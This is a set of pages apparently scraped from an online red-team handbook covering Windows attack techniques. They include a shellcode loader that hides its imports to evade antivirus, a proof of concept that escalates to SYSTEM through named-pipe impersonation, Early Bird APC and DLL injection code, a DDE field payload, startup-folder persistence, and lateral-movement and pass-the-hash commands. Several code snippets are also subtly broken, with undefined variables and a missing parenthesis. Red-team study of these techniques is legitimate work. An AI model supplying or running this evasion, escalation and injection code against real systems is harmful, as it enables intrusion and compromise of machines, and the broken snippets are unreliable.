Grepping\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping.md) - \[PHP Cheatsheet\](https://kwcsec.gitbook.io/the-red-team-handbook/other/vulnerability-discovery/web-vulnerabilities/code-grepping/php-cheatsheet.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office.md). # MS Office - \[Macros\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros.md) - \[Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion.md) - \[VBA Stomping\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/vba-stomping.md) - \[Revert To Legacy Warning in Excel\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/revert-to-legacy-warning-in-excel.md) - \[Sandbox Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/sandbox-evasion.md) - \[Info Extraction\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction-1.md) - \[Inline Shapes\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/inline-shapes.md) - \[.MAM Files\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/.mam-files.md) - \[PowerPoint\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/powerpoint.md) - \[ACCDE\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/accde.md) - \[Shellcode Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/shellcode-execution.md) - \[Info Extraction\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction.md) - \[Dechaining Macros\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros.md) - \[Field Abuse\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/field-abuse.md) - \[DDE\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/dde.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/basics/obfuscating-imports.md). # Obfuscating Imports Looking at the imports of a PE file can be a big indicator of malicious use. For example, should a legitimate binary only use: VirtualAlloc, RtlMoveMemory, and CreateThread? Or is it just malware. Looking at the imports of already known malware and applying detecting logic based on that is something AV's do. We can Obfuscate our imports and not make those malicious functions popup in our import table by dynamically resolving our functions. We can do this with GetModuleHandle and GetProcAddress. We will get a handle to the dll that exports the function you want to use, get the address of the function in the dll, and simply call that. An example implementation of this is: \`\`\`cpp #include #include #include #include #pragma comment (lib, "user32.lib") // https://github.com/9emin1/charlotte/blob/main/template.cpp char shellcode\[\] = { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; int pay\_len = sizeof(shellcode); LPVOID (WINAPI \* pVirtualAlloc)(LPVOID lpAddress, SIZE\_T dwSize, DWORD flAllocationType, DWORD flProtect); HANDLE (WINAPI \* pCreateThread)(LPSECURITY\_ATTRIBUTES lpThreadAttributes, SIZE\_T dwStackSize, LPTHREAD\_START\_ROUTINE lpStartAddress, \_\_drv\_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId); DWORD (WINAPI \* pWaitForSingleObject)(HANDLE hHandle, DWORD dwMilliseconds); int main(void) { XOR((char \*) shellcode, pay\_len, key, sizeof(key)); pVirtualAlloc = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc"); void \*exec = pVirtualAlloc(0, calc\_len, MEM\_COMMIT | MEM\_RESERVE, PAGE\_READWRITE); RtlMoveMemory(exec, shellcode, sizeof(shellcode); pCreateThread = GetProcAddress(GetModuleHandle("kernel32.dll"), "CreateThread"); HANDLE th = pCreateThread(0, 0, (LPTHREAD\_START\_ROUTINE) exec, 0, 0, 0); pWaitForSingleObject = GetProcAddress(GetModuleHandle("kernel32.dll"), "WaitForSingleObject"); pWaitForSingleObject(th, -1); } \`\`\` Let's find the imports of the code above to see if it really works. You can check the imports with dumpbin: \`\`\`cpp dumpbin /imports executable.exe \`\`\` In this case, no instances of VirtualAlloc, CreateThread etc. have been found in the import adress table. !\[\](/files/-Mh-YE5yogIHHTJizsoW) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads.md). # Hiding our Payloads - \[Event Logs\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/event-logs.md) - \[File metadata\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/file-metadata.md) - \[Registry Keys\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/registry-keys.md) - \[ADS\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/ads.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/ads.md). # ADS Creating ADS in c++ \`\`\` CreateFile( "sample.txt:my\_stream",GENERIC\_WRITE,FILE\_SHARE\_WRITE,NULL,OPEN\_ALWAYS,0,NULL ); if( hStream == INVALID\_HANDLE\_VALUE ) printf( "Cannot open sample.txt:my\_stream\\n" ); else WriteFile (hStream,"This data is hidden in the stream. Can you Read IT ???", 53, &dwRet, NULL); } \`\`\` (todo) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/persistence/user-level/startup-folder.md). # Startup Folder This is arguably one of the most simplest and easiest persistence techniques to perform. As the name implies, programs in the startup folder will execute when the user logs in. Command: \`\`\` copy c:\\executable "%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/hiding-our-payloads/event-logs.md). # Event Logs (todo) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement.md). # Lateral Movement - \[Linux\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux.md) - \[SSH Hijacking\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/ssh-hijacking.md) - \[RDP\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/rdp.md) - \[Impacket\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/linux/impacket.md) - \[No Admin?\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/no-admin.md) - \[Checking for access\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/checking-for-access.md) - \[Poison Handler\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/poison-handler.md) - \[WinRM\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/winrm.md) - \[AT\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/at.md) - \[PsExec\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/psexec.md) - \[WMI\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/wmi.md) - \[Service Control\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/service-control.md) - \[DCOM\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/dcom.md) - \[RDP\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/rdp.md) - \[SCShell\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/scshell.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros.md). # Macros - \[Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion.md) - \[VBA Stomping\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/vba-stomping.md) - \[Revert To Legacy Warning in Excel\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/revert-to-legacy-warning-in-excel.md) - \[Sandbox Evasion\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/evasion/sandbox-evasion.md) - \[Info Extraction\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction-1.md) - \[Inline Shapes\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/inline-shapes.md) - \[.MAM Files\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/.mam-files.md) - \[PowerPoint\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/powerpoint.md) - \[ACCDE\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/accde.md) - \[Shellcode Execution\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/shellcode-execution.md) - \[Info Extraction\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/info-extraction.md) - \[Dechaining Macros\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/macros/dechaining-macros.md) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/psexec.md). # PsExec This is a tool from the Sysinternals suite and allows users to execute code in remote hosts over port 445 using named pipes. This extracts from its executable image, an embedded Windows service named Psexesvc, copying it to the Admin$ share of the remote system and using the Windows Service Control Manager API to start the service on the remote system. Ex. \`\`\` psexec.exe -u DOMAIN\\USER -p PASSWORD \\\\REMOTEIP ”COMMAND” \`\`\` Or with Impacket: \`\`\` python psexec.py DOMAIN/USER:PASSWORD@REMOTEIP \[CMD\] \`\`\` ### --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/defense-evasion/ipc-for-sandbox-evasion-and-organization.md). # IPC For Evasion and Control IPC(inter-process communication) is used to provide communications and data sharing between applications. IPC is an umbrella term that fits all of these definitions. In this case, we won't be using IPC to communicate with other processes and such, but we will be using it as a shared object that indicates a certain function depending on our goal. ## Payload Control One scenario you might encounter is that your payload may have multiple instances and it might become too hectic. This can arise from DLL hijacking or COM hijacking where multiple programs might load your payload. Although having multiple running instances of your payload on a machine may be a good thing for stability and such, it may create a lot of noise due to the number of artifacts being created to your system. To solve this, we can create an IPC object and say, "if this object already exists, stop execution, but if this object does not exist, create it and execute your payload". This logic ensures that only one instance of your payload is running at a time. One example of an IPC object we can use is named pipes. \`\`\`cpp NamedPipeCheck = CreateNamedPipe("\\\\\\\\.\\\\pipe\\\\EvilCheck", PIPE\_ACCESS\_DUPLEX, PIPE\_TYPE\_MESSAGE, PIPE\_UNLIMITED\_INSTANCES, 1024, 1024, 0, NULL); if (GetLastError() == ERROR\_ALREADY\_EXISTS) { CloseHandle(NamedPipeCheck); return 0; } \`\`\` In the above function, we will try to create a named pipe called "\\\\\\\\\\\\\\\\.\\\\\\pipe\\\\\\EvilCheck", if it already exists, we will stop execution and return 0. As you can see, this is a very simple method to keep your payloads in control. Note that your pipe name can be a IOC. ## Evasion The same idea can be used for sandbox evasion, except that we will only start execution if a certain IPC object exists. This method was documented in the vault7 leaks here, which used mutexes: {% embed url="" %} As stated in the document, this method calls itself. This works because "The AV will only trigger the code if it has been called in a certain way" We can implement this with: \`\`\`cpp NamedPipeCheck = CreateNamedPipe("\\\\\\\\.\\\\pipe\\\\EvilCheck", PIPE\_ACCESS\_DUPLEX, PIPE\_TYPE\_MESSAGE, PIPE\_UNLIMITED\_INSTANCES, 1024, 1024, 0, NULL); if (GetLastError() == ERROR\_ALREADY\_EXISTS) { decryptCodeSection(); startShellCode(); } else { startExe("test.exe"); // name of implant Sleep(100); } return 0; \`\`\` ## Conclusion There are plenty of ways to implement these types of checks. You can use Mutexes, Semaphores etc. You don't even have to use IPC objects, a simply registry key or file will suffice. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/winrm.md). # WinRM WinRM is a Microsoft implementation of the WS-Management Protocol. It uses WMI over HTTP(S) over 5985/TCP and 5986/TCP. WinRM requires listeners on the client and server to process requests. This can be enabled using the Powershell command ’\`Enable-PSRemoting –Force\`’ locally and remotely using any of the previous techniques. \`\`\` winrs -r:REMOTEIP -u:DOMAIN\\USER -p:PASSWORD notepad.exe \`\`\` We can also avoid the double-hop problem with -EnableNetworkAccess \`\`\` PS> Enter-PSSession –ComputerName REMOTEIP –Credential DOMAIN\\USER –EnableNetworkAccess \`\`\` If the computer is not domain joined, then you need to add the target computer to the trustedhosts list \`\`\` PS > winrm quickconfig PS > Set-Item WSMan:\\localhost\\Client\\TrustedHosts –Value ’,’ \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/ms-office/dde.md). # DDE DDE is an old MS technology that is used to facilitate data transfer between applications. DDE sends messages between applications that share data and uses shared memory to exchange data between applications. DDE can be embedded in several Office file formats To leverage this attack vector: Open a new MS document and insert a field !\[\](/files/-Mfsh8oT7qT1fZjqDsgu) It will add an "!Unexpected End of Formula" to the document, we right-click it and "Toggle field codes" : !\[\](/files/-MfshCKh-lnlI30XRIft) We then replace the = \\\\\\\* MERGEFORMAT with the payload: \`\`\` { DDEAUTO "C:\\\\Programs\\\\Microsoft\\\\Office\\\\MSWord.exe\\\\..\\\\..\\\\..\\\\windows\\\\system32\\\\WindowsPowershell\\\\v1.0\\\\powershell.exe start calc # " "required"}​ \`\`\` If we save the document, reopen our document and accept the 2 prompts, calculator will popup. ## Obfuscating Field Codes (todo) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/privilege-escalation/to-system/named-pipe-impersonation.md). # Named Pipe Impersonation Named pipes are a form of IPC technology which allow sharing and communication of data between two processes. The term pipe simply describes the section of shared memory used by these two processes. Named Pipes are a FILE\\\_OBJECT which is handled by a file system named the Named Pipe File System(NPFS). Because a Named Pipe is a FILE\\\_OBJECT, interacting and accessing the named pipe is essentially the same as accessing a regular file. Named pipes allow for "Impersonation", which allows a thread to execute in another security context from it's own security context. This usually applies to a Client-Server architecture where a client connects to a server and for some reason, the server needs to impersonate the client to do some other action. For a server to impersonate a client, the client must send some sort of data to named pipe before the server can impersonate the client. The server must also need the SeImpersonatePrivilege or be running as high integrity. For this lab(ish), we are a high level overview of the steps needed to perform this: 1. Create a named pipe via CreateNamedPipe() 2. Create a service 3. Use that service to write data to the named pipe we created 4. Call ImpersonateNamedPipeClient which allows the server to impersonate any client that connects to its pipe 5. Create new process with that SYSTEM token 6. Profit ## POC This is a POC that I have stolen from: {% embed url="" %} \`\`\`cpp #include #include static const char\* g\_szNamedPipe = "\\\\\\\\.\\\\pipe\\\\getsystemyall"; static const char\* g\_szServiceCreate = "sc create getsystemyall binPath= \\"cmd.exe /c echo WUT > \\\\\\\\.\\\\pipe\\\\getsystemyall"; static const char\* g\_szServiceStart = "sc start getsystemyall"; static const char\* g\_szServiceDelete = "sc delete getsystemyall"; DWORD WINAPI getsystem\_thread(PVOID lpUnused) { PROCESS\_INFORMATION pi; STARTUPINFOA si = { 0 }; si.cb = sizeof(si); char szRead\[128\] = { 0 }; DWORD dwBytes = 0; HANDLE hToken; HANDLE hPipe; WCHAR cmd\[MAX\_PATH\] = L"cmd.exe"; do { // create the named pipe hPipe = CreateNamedPipeA(g\_szNamedPipe, PIPE\_ACCESS\_DUPLEX, PIPE\_TYPE\_MESSAGE | PIPE\_WAIT, 2, 0, 0, 0, NULL); if (!hPipe) break; // wait for SC to make connection to the pipe while (!ConnectNamedPipe(hPipe, NULL)) { if (GetLastError() == ERROR\_PIPE\_CONNECTED) break; } // must read at least 1 byte from the pipe if (!ReadFile(hPipe, szRead, 1, &dwBytes, NULL)) break; // impersonate the client if (!ImpersonateNamedPipeClient(hPipe)) break; // get a handle to the SYSTEM token if (!OpenThreadToken(GetCurrentThread(), TOKEN\_ALL\_ACCESS, FALSE, &hToken)) break; // pop a shell with the system token CreateProcessWithTokenW(hToken, 0, NULL, cmd, CREATE\_NEW\_CONSOLE | CREATE\_NEW\_PROCESS\_GROUP, NULL, NULL, (LPSTARTUPINFOW)&si,&pi); } while (0); // cleanup if (hPipe) { DisconnectNamedPipe(hPipe); CloseHandle(hPipe); } return 0; } int main() { DWORD dwThreadId; HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD\_START\_ROUTINE)getsystem\_thread, NULL, 0, &dwThreadId); getchar(); system(g\_szServiceCreate); system(g\_szServiceStart); system(g\_szServiceDelete); return 0; } \`\`\` You can read the comments to get a brief overview on what it does, but for a more technical view, I recommend you go over to Microsoft and see some documentation: Compile this and run it. Before we press enter(i put a getchar), lets check for our named pipe with this powershell command \`\`\`cpp ((Get-ChildItem \\\\.\\pipe\\).name)\[-1..-5\] \`\`\` !\[\](/files/-MhHHeznOcA0cqMnxm4e) As we can see, we can find our named pipe. Now let's continue execution. We should now see a quick text message alerting us that our service creation was successful, and a new cmd popup. Lets check its privs! !\[\](/files/-MhHI-1Yu8iqhADHluTK) As we can see, we are now system. --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/poison-handler.md). # Poison Handler This tool registers a protocol handler remotely, and invokes it by using "start handler://" to execute commands. \`\`\` Execute-PoisonHandler -ComputerName -Payload "commands” \`\`\` {% embed url="" %} --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/at.md). # AT At is like scheduled tasks, and cancan be used to schedule commands to run at a specific time. It has been disabled on windows > 8.1, but can be enabled with a registry key \`\`\` Reg add “\\\\REMOTE\\\\HKLM\\SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Schedule\\Configuration" /v EnableAt /t REG\_DWORD /d 1” \`\`\` Note that after we set the registry key, we need to shut down the machine for changes to take place \`\`\` Shutdown /r /m \\\\REMOTE \`\`\` Then, we can finally use AT to execute code remotely \`\`\` net time \\\\REMOTE at \\\\REMOTE TIME COMMAND At \\\\REMOTE AT\_ID /delete \`\`\` --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/dcom.md). # DCOM DCOM is an extension of COM that uses RPC to use COM over the network. Numerous of interfaces can be used for lateral movement. Powershell can be used to instantiate com objects remotely to execute code. (TODO) --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/early-bird-injection.md). # Early Bird Injection APC Injectection into a suspended state. We do not need to wait for it to be alertable in order for it to be executed unlike the regular version of APC queue code injection. \`\`\`cpp #include #include #include #include #include char shellcode\[\] = { shellcode }; unsigned int pay\_len = sizeof(shellcode); int main(void){ STARTUPINFO si = {0}; PROCESS\_INFORMATION pi = {0}; void \*pRem; CreateProcessA(0, "notepad.exe", 0, 0, 0, CREATE\_SUSPENDED, 0, 0, &si, &pi); HANDLE hProc = pi.hProcess; HANDLE hThread = pi.hThread; pRem = VirtualAllocEx(hProc , NULL, pay\_len, MEM\_COMMIT, PAGE\_EXECUTE\_READWRITE); WriteProcessMemory(hProc, pRem, (PVOID) shellcode, (SIZE\_T) payl\_len, (SIZE\_T \*) NULL); QueueUserAPC((PAPCFUNC)pRemoteCode, hThread, NULL); getchar(); ResumeThread(hThread); } \`\`\` Here's why it doesn't have to be alertable: let's compile this and run it. Before you press enter, lets see the suspended notepad in process hacker: !\[\](/files/-Mh5U8mj-fivqpUsaDjr) We can see the parent of the process is our executable. We can also see the suspended thread in Process Hacker: !\[\](/files/-Mh5UZLkmrhgkm07J82Z) And below is our allocated shellcode: !\[\](/files/-Mh5UjGNoFJowWnN6\_Nw) let's press enter... And we see that our shellcode gets executed automatically which popped up our message box. !\[\](/files/-Mh5UzirUQtq\_Zs5rslW) Unlike APC queue injection, we did not have to wait. According to this blog: {% embed url="" %} Here is why it gets ran automatically: \* \*\*Every user-mode thread begins execution at LdrInitializeThunk function\*\* \* \*\*LdrInitializeThunk calls ldrpInitialize\*\* \* \*\*Ldrpinitialize calls into \\\_LdrpInitialize\*\* \* \*\*\\\_LdrpInitialize calls NtTestAlert\*\* \* \*\*NtTestAlert checks APC Queue, notifies kernel which will execute our code\*\* Lets see this in a debugger. Attach the notepad process that was spawned by the early bird injection executable to a debugger of your choice, in this case, I am use x64dbg !\[\](/files/-Mh5W0BIAR9SBlFVHeYk) Lets then set a breakpoint at our shellcode address in the notepad executable. Go into the "enter expression" option and paste our shellcode address in there and press "ok" !\[\](/files/-Mh5WflXSDJ9q0f-F-S0) We then land in our shellcode. Then, lets set a breakpoint at the first instruction of the executable: !\[\](/files/-Mh5WxPLEFKzjGtKIhBO) Lets run our executable now, after we run it, we should hit our breakpoint that we set on our shellcode: !\[\](/files/-Mh5XFJIAfbd9rGIl3KX) Now, lets see the call stack before our shellcode was executed in x64dbg: !\[\](/files/-Mh5YBqbBdsppYMHXkjR) Note that it goes bottom from up, so that means LdrInitializeThunk was called first and then proceeded to call the function above, and the function above called the function above itself etc. Let's look at the NtTestAlert function because its the function that actually puts it in an alertable state based on the bullet points above. Double click the NtTestAlert function. !\[\](/files/-Mh5Yh-tBMSL-24vjzif) As we can see, NtTestAlert makes a syscall to ZwTestAlert. ZwTestAlert empties the APC queue of the current thread, which will therefore trigger the APC call and kickoff our shellcode --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/lateral-movement/rdp.md). # RDP If RDP is enabled, you can just login with credentials like how a regular admin or user would. An interesting thing to note is that if restricted admin is enabled, we may be able to PTH with RDP clients. Restricted admin mode was made to allow sys admins to perform network logons(no clear text credential logon) with RDP. PTH: \`xfreerdp /u:USER /d:DOMAIN /pth: -v\` Mimikatz PTH: \`sekurlsa::pth /user /domain: /ntlm /run:"mstsc.exe /restrictedadmin"\` Note that if we get an error, we need to set a registry key enabling restricted admin mode. \`\`\` PS > New-ItemProperty -Path"HKLM:\\System\\CurrentControlSet\\Control\\Lsa" -Name"DisableRestrictedAdmin" -Value "0" -PropertyType DWORD -Force \`\`\` For regular lateral movement, SharpRDP is a tool that can help us \`\`\` SharpRDP.exe computername=dc01 command=calc username=offense\\administrator password=pass \`\`\` ### --- # Unknown \> For the complete documentation index, see \[llms.txt\](https://kwcsec.gitbook.io/the-red-team-handbook/llms.txt). Markdown versions of documentation pages are available by appending \`.md\` to page URLs; this page is available as \[Markdown\](https://kwcsec.gitbook.io/the-red-team-handbook/techniques/code-injection/dll-injection.md). # DLL Injection This Forcse a remote process to load our dll of our choice on disk. 1. \*\*Allocate memory in remote process(VirtualAllocEx)\*\* 2. \*\*Copy the path of our dll to the buffer(WriteProcessMemory)\*\* 3. \*\*Locate the address of loadlibrary(GetProcAddress)\*\* 4. \*\*Create a remote thread with the argument of load library and the path to our dll(CreateRemoteThread with address of LoadLibrary and path to DLL)\*\* 5. \*\*Remote process will load our dll\*\* \`\`\`cpp #include #include #include #include #include DWORD FindProcessPid(const char\* procname) { PROCESSENTRY32 pe32 = { 0 }; pe32.dwSize = sizeof(PROCESSENTRY32); HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS\_SNAPPROCESS, 0); // takes a snapshot of all the processes running in the system if (hSnapshot) { if (Process32First(hSnapshot, &pe32)) // from the snapshot of the processes, we extract the process name { do { if (strcmp(pe32.szExeFile, procname) == 0) // compares the process name, with our user supplied name { return pe32.th32ProcessID; // if its the same, return the process id } } while (Process32Next(hSnapshot, &pe32)); CloseHandle(hSnapshot); } } return -1; // returns 